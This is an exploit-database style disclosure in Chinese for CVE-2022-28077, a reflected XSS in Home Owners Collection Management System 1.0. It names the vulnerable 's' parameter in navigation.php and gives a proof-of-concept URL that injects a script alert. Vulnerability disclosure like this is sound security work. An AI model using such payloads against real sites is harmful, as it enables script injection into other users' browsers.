CVE-2022-28077

Home Owners Collection Management System 1.0 - 反射型XSS

漏洞利用标题：Home Owners Collection Management System 1.0 - 反射型XSS

日期：2022-05-06

CVE：CVE-2022-28077

漏洞利用作者：Abdulaziz Saad (@b4zb0z)

厂商主页：https://www.sourcecodester.com/

软件链接：https://www.sourcecodester.com/php/15162/home-owners-collection-management-system-phpoop-free-source-code.html

版本：1.0

测试环境：LAMP, Ubuntu

---

[#] 漏洞位置：

`$_GET['s']` 位于 `/hocms/admin/inc/navigation.php:117`

[#] 漏洞利用：

`http://localhost/hocms/admin/?s=<script>alert('b4zb0z')</script>`